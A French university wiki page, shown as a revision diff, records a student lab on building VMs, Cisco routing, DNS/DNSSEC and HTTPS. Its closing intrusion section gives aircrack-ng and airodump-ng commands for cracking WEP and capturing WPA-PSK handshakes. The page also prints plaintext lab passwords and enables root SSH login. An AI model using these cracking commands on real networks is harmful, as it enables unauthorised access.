TP sysres IMA5sc 2020/2021 G1 : Différence entre versions
(→Création de la machine virtuelle) |
(→7.5 Equilibreur de charge) |
||
(80 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
TP PRA - Evan Gury & Vincent Dubois - trompettedelamort | TP PRA - Evan Gury & Vincent Dubois - trompettedelamort | ||
− | |||
− | |||
{| class="wikitable" | {| class="wikitable" | ||
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique) | ! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique) | ||
Ligne 18 : | Ligne 16 : | ||
|} | |} | ||
+ | http://www.trompettedelamort.site/toto.html | ||
− | + | Connexion au wifi SSID_GROUP1: | |
+ | * Login : bob | ||
+ | * Passwd : leponge | ||
− | == | + | =2 Installation des systèmes d’exploitation (12/10/2020)= |
+ | |||
+ | ssh capbreton.plil.info | ||
+ | xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster | ||
+ | |||
+ | * Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes): | ||
+ | |||
+ | Sur Capbreton: | ||
+ | |||
+ | ** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe | ||
+ | |||
+ | pvcreate /dev/sde | ||
+ | pvcreate /dev/sdf | ||
+ | vgcreate storage /dev/sde /dev/sdf | ||
+ | |||
+ | ** On créer 2 partitions de 10Go pour chaque binôme: | ||
+ | |||
+ | lvcreate -L10G -n trompettedelamort1 storage | ||
+ | lvcreate -L10G -n trompettedelamort2 storage | ||
+ | ...meme chose pour chaque groupe... | ||
+ | |||
+ | |||
+ | ** On formate nos partitions: | ||
+ | |||
+ | mkfs.ext4 /dev/storage/trompettedelamort1 | ||
+ | mkfs.ext4 /dev/storage/trompettedelamort2 | ||
+ | |||
+ | |||
+ | * Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg) | ||
+ | vif = ['bridge=IMA5sc, ip=100.64.0.84, ...'] | ||
+ | et on indique quel disque utiliser: | ||
+ | disk = [ | ||
+ | 'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w', | ||
+ | 'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w', | ||
+ | 'phy:/dev/storage/trompettedelamort1,xvda3,w', | ||
+ | 'phy:/dev/storage/trompettedelamort2,xvda4,w' | ||
+ | ] | ||
+ | |||
+ | * Lancer la VM | ||
+ | xl create -c /etc/xen/trompettedelamort.cfg | ||
+ | |||
+ | Ensuite, sur la MV: | ||
+ | |||
+ | * Montage et peuplement des partitions: | ||
+ | mount /dev/xvda3 /mnt/xvda3 | ||
+ | mount /dev/xvda4 /mnt/xvda4 | ||
+ | mv /var/* /mnt/xvda4 | ||
+ | # /home est vide donc rien a déplacer | ||
+ | |||
+ | puis on démonte: | ||
+ | umount /mnt/xvda3 | ||
+ | umount /mnt/xvda4 | ||
+ | |||
+ | * Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute: | ||
+ | /dev/xvda3 /home /ext4 default 0 2 | ||
+ | /dev/xvda4 /var /ext4 default 0 2 | ||
+ | |||
+ | et on applique les modification du fichier fstab: | ||
+ | mount -a | ||
+ | |||
+ | =3 Architecture réseau= | ||
+ | |||
+ | ==3.1 L’architecture générale (12/10/2020)== | ||
La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14. | La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14. | ||
− | == | + | ==3.2 Les réseaux virtuels (12/10/2020)== |
On créer deux VLAN: | On créer deux VLAN: | ||
Ligne 33 : | Ligne 96 : | ||
Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances | Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances | ||
− | ==Interconnexion avec Internet ( | + | ==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)== |
Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver : | Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver : | ||
Ligne 83 : | Ligne 146 : | ||
ip nat inside | ip nat inside | ||
exit | exit | ||
− | |||
===Problème association OSPF et NAT=== | ===Problème association OSPF et NAT=== | ||
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible. | Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible. | ||
− | Pour palier à ce problème, on annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT). | + | Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT). |
+ | La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E : | ||
+ | boot | ||
+ | enable | ||
+ | conf t | ||
+ | int vlan 333 | ||
+ | no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée | ||
+ | ip address 100.64.0.1 255.255.255.0 | ||
+ | exit | ||
+ | exit | ||
+ | write | ||
+ | |||
+ | on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5: | ||
+ | router ospf 1 | ||
+ | router-id 10.60.100.1 | ||
+ | |||
+ | Enfin, on ajoute la route vers notre MV à la main: | ||
ip route 193.48.57.188 255.255.255.255 100.64.0.28 | ip route 193.48.57.188 255.255.255.255 100.64.0.28 | ||
− | Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (cf. partie suivante). | + | Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante). |
Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école. | Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école. | ||
− | |||
− | == | + | ==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)== |
+ | Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6 | ||
+ | |||
+ | On crée le VLAN301 pour notre domaine: | ||
+ | |||
+ | * '''sur 6509-E''' | ||
+ | conf t | ||
+ | vlan 301 | ||
+ | name trompettedelamort | ||
+ | exit | ||
+ | int vlan 301 | ||
+ | no shutdown | ||
+ | ip address 10.60.101.1 255.255.255.0 | ||
+ | ipv6 enable | ||
+ | ipv6 address 2001:660:4401:60b3::0/64 eui-64 | ||
+ | ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900 | ||
+ | ipv6 nd router-preference High #car routeur principale | ||
− | + | * '''sur 6509-E''' | |
− | + | conf t | |
+ | vlan 301 | ||
+ | name trompettedelamort | ||
+ | exit | ||
+ | int vlan 301 | ||
+ | no shutdown | ||
+ | ip address 10.60.101.2 255.255.255.0 | ||
+ | ipv6 enable | ||
+ | ipv6 address 2001:660:4401:60b3::0/64 eui-64 | ||
+ | ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900 | ||
+ | ipv6 nd router-preference Low | ||
+ | |||
+ | Annonce de route avec RIP fait par groupe 14 | ||
+ | |||
+ | |||
+ | ==3.7 Sécurisation du réseau (02/11/2020)== | ||
+ | En partenariat avec le groupe 14. | ||
+ | Attention la syntaxe est différente entre le 9200 et le 6509-E | ||
+ | On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301. | ||
+ | '''6509-E''' | ||
+ | conf t | ||
+ | int vlan 333 | ||
+ | vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333 | ||
+ | vrrp 33 preemt # priorité au routeur qui a une priorité supérieur | ||
+ | vrrp 33 priority 110 # priorité supérieur a celle du 9200 | ||
+ | exit | ||
+ | int vlan 301 | ||
+ | vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333 | ||
+ | vrrp 31 preemt # priorité au routeur qui a une priorité supérieur | ||
+ | vrrp 31 priority 110 # priorité supérieur a celle du 9200 | ||
+ | exit | ||
+ | int vlan 301 | ||
+ | vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan | ||
+ | vrrp 41 preemt | ||
+ | vrrp 41 priority 110 | ||
+ | exit | ||
+ | exit | ||
+ | write | ||
+ | |||
+ | '''9200''' | ||
+ | conf t | ||
+ | int vlan 333 | ||
+ | vrrp 33 address-family ipv4 | ||
+ | priority 100 | ||
+ | address 100.64.0.254 | ||
+ | preemt | ||
+ | exit | ||
+ | int vlan 1 | ||
+ | vrrp 31 address-family ipv4 | ||
+ | priority 100 | ||
+ | address 10.60.100.254 | ||
+ | preemt | ||
+ | exit | ||
+ | int vlan 301 | ||
+ | vrrp 41 address-family ipv4 | ||
+ | priority 100 | ||
+ | address 10.60.101.254 | ||
+ | preemt | ||
+ | exit | ||
+ | exit | ||
+ | write | ||
+ | |||
+ | ==3.8 Interconnexion Internet de secours (IPv4) (30/11/2020)== | ||
+ | (En collaboration avec le groupe 14) | ||
+ | |||
+ | ===ISR4331=== | ||
+ | On commcence par connecter l'ISR au boitier SDSL dans le local technique SR52. Pour cela, on repère le port de connexion: | ||
+ | SR52# int Gi0/37 | ||
+ | SR52# switchport mode access | ||
+ | SR52# switchport access vlan 531 | ||
+ | |||
+ | Puis on configure le nouveau VLAN 531 sur l'ISR (!Attention! sur cet équipement, l'équivalent VLAN est BDI) | ||
+ | |||
+ | ISR4331# int BDI531 | ||
+ | ISR4331# ip address 192.168.222.26 255.255.255.248 | ||
+ | ISR4331# no shut | ||
+ | ISR4331# exit | ||
+ | ISR4331# int GigabitEthernet0/0/1 | ||
+ | ISR4331# service instance 531 ethernet | ||
+ | ISR4331# encapsulation untagged | ||
+ | ISR4331# bridge-domain 531 | ||
+ | ISR4331# exit | ||
+ | |||
+ | On configure également le BDI 333 avec VRRP pour que les VM accède à ce router. Cet équipement aura une priorité VRRP inférieure aux deux autres routeurs car il est destiné a tourner qu'en cas de problème de connexion par le routeur de l'école. | ||
+ | |||
+ | ISR4331# int BDI 333 | ||
+ | ISR4331# ip address 100.64.0.3 255.255.255.0 | ||
+ | ISR4331# vrrp 33 ip 100.64.0.254 | ||
+ | ISR4331# vrrp 33 preempt | ||
+ | ISR4331# vrrp 33 priority 90 | ||
+ | ISR4331# exit | ||
+ | |||
+ | On y ajoute les ports reliés aux routeurs | ||
+ | |||
+ | ISR4331# int Gi0/0/0 | ||
+ | ISR4331# service instance 333 ethernet | ||
+ | ISR4331# encapsulation dot1q 333 | ||
+ | ISR4331# rewrite ingress tag pop 1 symmetric | ||
+ | ISR4331# bridge-domain 333 | ||
+ | ISR4331# exit | ||
+ | |||
+ | ISR4331# int Gi0/0/2 | ||
+ | ISR4331# service instance 333 ethernet | ||
+ | ISR4331# encapsulation dot1q 333 | ||
+ | ISR4331# rewrite ingress tag pop 1 symmetric | ||
+ | ISR4331# bridge-domain 333 | ||
+ | ISR4331# exit | ||
+ | |||
+ | ===SLA=== | ||
+ | A ce stade, nos équipement sont connecté mais on ne sait pas quand l'ISR4331 doit prendre la main. | ||
+ | On utilise le mécanisme SLA pour décrémenter la priorité des routeurs 1 et lorsqu'un incident sur le routeur RENATER (192.168.44.1) est détecté. | ||
+ | Sur le premier routeur: | ||
+ | |||
+ | 6509-E# ip sla 1 | ||
+ | 6509-E# icmp-echo 192.168.44.1 | ||
+ | 6509-E# frequency 300 | ||
+ | 6509-E# exit | ||
+ | 6509-E# ip sla schedule 1 life forever start-time now | ||
+ | 6509-E# track 1 ip sla 1 | ||
+ | 6509-E# exit | ||
+ | 6509-E# int vlan 333 | ||
+ | 6509-E# vrrp 33 track 1 decrement 50 | ||
+ | 6509-E# exit | ||
+ | |||
+ | Penser a passer le port relié à l'ISR en mode trunk sans quoi on ne poura pas passer d'un VLAN à l'autre | ||
+ | |||
+ | 6509-E# int Te6/5 | ||
+ | 6509-E# switchport trunk encapsulation dot1q | ||
+ | 6509-E# switchport mode trunk | ||
+ | 6509-E# exit | ||
+ | |||
+ | On fait la même chose sur le deuxième routeur: | ||
+ | |||
+ | C9200# ip sla 1 | ||
+ | C9200# icmp-echo 192.168.44.1 | ||
+ | C9200# frequency 300 | ||
+ | C9200# exit | ||
+ | C9200# ip sla schedule 1 life forever start-time now | ||
+ | C9200# track 1 ip sla 1 | ||
+ | C9200# exit | ||
+ | C9200# int vlan 333 | ||
+ | C9200# vrrp 33 address-family ipv4 | ||
+ | C9200# track 1 decrement 50 | ||
+ | C9200# exit | ||
+ | |||
+ | C9200# int Gi1/0/2 | ||
+ | C9200# switchport mode trunk | ||
+ | C9200# exit | ||
+ | C9200# exit | ||
+ | |||
+ | A présent l'ISR peut prendre le relais si la connexion à internet par le routeur de l'école ne fonctionne plus. | ||
+ | Il ne reste plus qu'a faire la Mascarade sur l'ISR (IPs VMS -> 1 IP publique du SDLS = NAT dynamique sans pool = Mascarade) | ||
− | + | ===Mascarade=== | |
− | + | ISR4331# int loopback 0 | |
+ | ISR4331# ip address 213.215.6.102 255.255.255.255 | ||
+ | ISR4331# exit | ||
+ | ISR4331# int bdi 531 | ||
+ | ISR4331# ip nat outside | ||
+ | ISR4331# exit | ||
+ | ISR4331# int bdi 333 | ||
+ | ISR4331# ip nat inside | ||
+ | ISR4331# exit | ||
+ | ISR4331# access-list 33 permit 193.48.57.176 0.0.0.15 | ||
+ | ISR4331# ip nat inside source list 33 int loopback 0 overload | ||
+ | ISR4331# exit | ||
+ | ISR4331# ip route 193.48.57.176 255.255.255.255 100.64.0.16 | ||
− | + | On utilise bien les adresses routés des VM (193.57.48...) et non les adresses privées (100.64....) sinon on serait incapable de revenir vers les VM car le routeur ne connait pas la route vers ces dernières. | |
− | |||
− | |||
− | + | ===Tests=== | |
− | + | On test dans un premier temps la connexion internet. Sur nos VM on remplace la gateway avec l'IP de l'ISR: 100.64.0.3. | |
− | |||
− | |||
+ | Pour tester la prise de relai de l'ISR, on débranche la connexion vers le routeur de l’école des deux routeurs R1 et R2. L'ISR passe bien Master au bout d'un certain temps (<300s). | ||
− | + | Il n'est cependant pas possible d’accéder à nos VM depuis cette nouvelle connexion sans que la VM initie la dite connexion. En effet, la mascarade mis en place ne permet pas à l'ISR de router vers l’intérieur, il faudrait utiliser des ports différents pour chaque connexion aux VMs. | |
− | |||
− | + | ==3.9 Interconnexion Internet de secours (IPv6) ()== | |
− | + | Suite au prochain épisode | |
− | + | =4 Services Internet= | |
− | |||
− | |||
− | == | + | ==Connexion a internet (02/11/2020)== |
Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM: | Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM: | ||
Ligne 154 : | Ligne 404 : | ||
Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS. | Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS. | ||
+ | |||
+ | ==4.1 Serveur SSH (02/11/2020)== | ||
+ | Le service SSH était activé par defaut. | ||
+ | Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config | ||
+ | PermitRootLogin yes | ||
+ | |||
+ | puis systemctl restart sshd | ||
+ | |||
+ | et on peut se connecter a notre vm | ||
+ | ssh root@193.48.57.188 | ||
+ | |||
+ | ==4.2 Serveur DNS (02/11/2020)== | ||
+ | |||
+ | Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom | ||
+ | 127.0.0.1 | ||
+ | |||
+ | Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté: | ||
+ | options{ | ||
+ | directory "/var/cache/bind"; | ||
+ | listen-on-v6 { any; }; | ||
+ | allow-transfer { "allowed_to_transfer"; }; | ||
+ | }; | ||
+ | acl "allowed_to_transfer" { | ||
+ | 217.70.177.40/32 ; | ||
+ | }; | ||
+ | |||
+ | |||
+ | |||
+ | Ensuite avec bind9 nous avons pu configurer notre serveur de nom. | ||
+ | Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site": | ||
+ | zone "trompettedelamort.site" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.trompettedelamort.site"; | ||
+ | allow-transfer { 217.70.177.40;}; | ||
+ | }; | ||
+ | |||
+ | Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié: | ||
+ | zone "trompettedelamort.site" IN { | ||
+ | ; | ||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo | ||
+ | rt.site( | ||
+ | 4 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.trompettedelamort.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | ns1 IN A 193.48.57.188 | ||
+ | |||
+ | Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers. | ||
+ | ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers. | ||
+ | |||
+ | ==4.3 Sécurisation de site web par certificat (16/11/2020)== | ||
+ | |||
+ | ===Serveur mail=== | ||
+ | On décide d'effectuer la valisation du certificat par mail, pour cela, il faut installer un serveur mail sur notre VM: | ||
+ | apt-get install postfix | ||
+ | |||
+ | Pour ajouter l'utilisateur postfix au groupe sasl | ||
+ | sudo adduser postfix sasl | ||
+ | |||
+ | Ensuite on configure postfix: | ||
+ | dpkg-reconfigure postfix | ||
+ | |||
+ | La configuration est la suivante: | ||
+ | Internet Site | ||
+ | trompettedelamort.site | ||
+ | NULL | ||
+ | server1.trompettedelamort.site, localhost.trompettedelamort.site, localhost | ||
+ | No | ||
+ | 127.0.0.0/8 | ||
+ | 0 | ||
+ | + | ||
+ | |||
+ | Il faut redemarrer le serveur: | ||
+ | service postfix restart | ||
+ | |||
+ | Dans /etc/aliases on ajoute la ligne suivante: | ||
+ | admin: root | ||
+ | |||
+ | Puis dans le terminal | ||
+ | newaliases | ||
+ | |||
+ | Ensuite pour lire les mails on installe: | ||
+ | apt install bsd-mailx | ||
+ | |||
+ | Et on utilise la commande '''mailx''' pour récupérer nos mails. Le mail de confirmation poura etre envoyé à '''admin@trompettedelamort.site''' | ||
+ | |||
+ | ===Clés et certificat=== | ||
+ | |||
+ | On install préalablement l'outil '''openssl''' sur notre MV. | ||
+ | |||
+ | On se rend dans le répertoire '''/etc/ssl/''' qui contient les certificats et autre configaration d'openssl puis on génere une clé privée et un certificat contenant une clée publique: | ||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout tromettedelamort.site.key -out trompettedelamort.site.csr | ||
+ | |||
+ | On déplace notre clé privée (qu'il ne faut absolument pas perdre ni divulguer) dansle repertoire '''/etc/ssl/private/'''. | ||
+ | |||
+ | A ce stade, nous avons une clée privée et un certificat qu'il faut faire signer par une entitée reconnue (gandi.net). | ||
+ | On suit la procédure dédiée '''https://docs.gandi.net/fr/ssl/creation/installation_certif_manuelle.html''' en choisissant le mode de validation par mail | ||
+ | |||
+ | A la suite de ces étapes, le certificat est disponible au téléchargement depuis le site de gandi (fichier .crt) que l'on place dans ''/etc/ssl/certs/''.<br/> | ||
+ | On télécharge également le certificat intermédiaire de gandi : GandiStandardSSLCA2.pem que l'on place également dans ''/etc/ssl/certs/''. | ||
+ | |||
+ | ===Serveur web Apache2=== | ||
+ | * On install le seveur: | ||
+ | apt-get install apache2 | ||
+ | |||
+ | * On active du module SSL d'apache2: | ||
+ | a2enmod ssl | ||
+ | |||
+ | * On configure Apache2 pour communiquer sur le port 443 (https) au lieu du port 80 (http). dans le fichier '''/etc/apache2/ports.conf''' | ||
+ | |||
+ | <IfModule mod_ssl.c> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | <IfModule mod_gnutls.c> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | * On créer le fichier de configuration '''/etc/apache2/sites-available/000-trompettedelamort.site-ssl.conf''' qui définit les paramètres de notre site (notament les certificats à utiliser) | ||
+ | <VirtualHost 193.48.57.188:443> | ||
+ | ServerName trompettedelamort.site | ||
+ | ServerAlias www.trompettedelamort.site | ||
+ | DocumentRoot /var/www/trompettedelamort.site/ | ||
+ | CustomLog /var/log/apache2/secure_access.log combined | ||
+ | |||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/trompettedelamort.site.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/trompettedelamort.site.key | ||
+ | SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem | ||
+ | SSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | |||
+ | * On active le site avec la configuration que l'on vient de créer : | ||
+ | a2ensite 000-trompettedelamort.site-ssl | ||
+ | |||
+ | * On rend le site accessible en l'ajoutant dans '''/etc/apache2/apache2.conf''' | ||
+ | ServerName trompettedelamort.site | ||
+ | |||
+ | * On renseigne également le DNS pour pouvoir résoudre notre nom de site. Dans '''/etc/bind/db.trompettedelamort.site''' | ||
+ | www IN A 193.48.57.188 | ||
+ | |||
+ | * Enfin, on créer le repertoire '''/var/www/trompettedelamort.site/''' dans lequel on place tout les fichier (html, ...) de notre site. | ||
+ | |||
+ | Pernser è redemarer le service | ||
+ | systemectl restart apache2 | ||
+ | |||
+ | ===Verifications=== | ||
+ | |||
+ | En se connectant à https://www.trompettedelamort.site, on retombe bien sur le site web de notre domaine et la connexion est sécurisé par le certificat. | ||
+ | Cependant, si on se connecte en http, la connexion n'est pas sécurisée et on est pas automatiquement redirigé vers https. Pour palier à se problème, on force vers la redirection de http vers https en ajoutant dans le fichier '''/etc/apache2/sites-available/000-default.conf''' | ||
+ | Redirect permanent / https://www.trompettedelamort.site/ | ||
+ | |||
+ | ==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)== | ||
+ | |||
+ | ===IPV4=== | ||
+ | |||
+ | La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC | ||
+ | |||
+ | Premièrement nous avons modifié le ficher '''named.conf.options''' pour y ajouter l'options suivantes: | ||
+ | dnssec-enable yes | ||
+ | |||
+ | Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK. | ||
+ | |||
+ | Pour créer la paire de clef KSK, nous utilisons la commande suivante: | ||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site | ||
+ | |||
+ | Et pour la paire de clef ZSK, nous utilisons la commande suivante: | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site | ||
+ | |||
+ | Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées. | ||
+ | |||
+ | Ensuite dans notre fichier zone '''db.trompettedelamort.site''' nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial: | ||
+ | $include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key | ||
+ | $include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key | ||
+ | |||
+ | Le fichier '''db.trompettedelamort.site''' ressemble donc à cela: | ||
+ | ; | ||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.( | ||
+ | 8 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.trompettedelamort.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | @ IN MX 100 ns1.trompettedelamort.site. | ||
+ | ns1 IN A 193.48.57.188 | ||
+ | www IN A 193.48.57.188 | ||
+ | $include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key | ||
+ | $include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key | ||
+ | |||
+ | Nous signons ensuite les enregristrement de la zone avec la commande suivante: | ||
+ | dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk | ||
+ | Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed" | ||
+ | |||
+ | Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local: | ||
+ | root@trompettedelamort:~# cat /etc/bind/named.conf.local | ||
+ | // | ||
+ | // Do any local configuration here | ||
+ | zone "trompettedelamort.site" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.trompettedelamort.site.signed"; | ||
+ | allow-transfer { 217.70.177.40;}; | ||
+ | }; | ||
+ | // Consider adding the 1918 zones here, if they are not used in your | ||
+ | // organization | ||
+ | //include "/etc/bind/zones.rfc1918"; | ||
+ | |||
+ | Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans | ||
+ | /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key | ||
+ | |||
+ | On vérifie avec la commande suivante: | ||
+ | dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed | ||
+ | |||
+ | Qui nous renvoie ce résultat: | ||
+ | Verifying the zone using the following algorithms: RSASHA1. | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ../db.trompettedelamort.site.signed | ||
+ | |||
+ | ===IPV6=== | ||
+ | |||
+ | Dans le fichier '''db.trompettedelamort.site''' il suffit de rajouter deux entrées comme nous l'avons fait en IPV4 | ||
+ | ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b | ||
+ | www IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b | ||
+ | |||
+ | Il faut penser à augmenter le Serial | ||
+ | Ensuite il suffit de ressigner les zones comme précedemment: | ||
+ | dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk | ||
+ | |||
+ | Puis relancer le serveur bind. | ||
+ | |||
+ | Avec la commande: | ||
+ | host -t soa trompettedelamort.site ns6.gandi.net | ||
+ | On peut vérifier que le changement a bien été pris en compte. | ||
=Tests d’intrusion= | =Tests d’intrusion= | ||
− | ==Cassage de clef WEP d’un point d’accès WiFi== | + | ==5.1 Exploitation de failles du système (en cours)== |
+ | |||
+ | ==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)== | ||
Avec le packetage aircrack-ng il est possible de casser une clef wep. | Avec le packetage aircrack-ng il est possible de casser une clef wep. | ||
Ligne 184 : | Ligne 682 : | ||
Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage: | Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage: | ||
aircrack-ng -b MACPA output*.cap | aircrack-ng -b MACPA output*.cap | ||
+ | |||
+ | |||
+ | ==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)== | ||
+ | |||
+ | On commence par mettre l'interface WiFi en mode monitor: | ||
+ | airmon-ng start maCarte | ||
+ | |||
+ | Ensuite on lance une écoute généralisée des trames WiFi qui circulent: | ||
+ | airodump-ng maCarte | ||
+ | |||
+ | A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03. | ||
+ | |||
+ | Puis pour cibler la recherche on lance la commande suivante: | ||
+ | airodump-ng -c 3 --bssid MACPA -w psk maCarte | ||
+ | |||
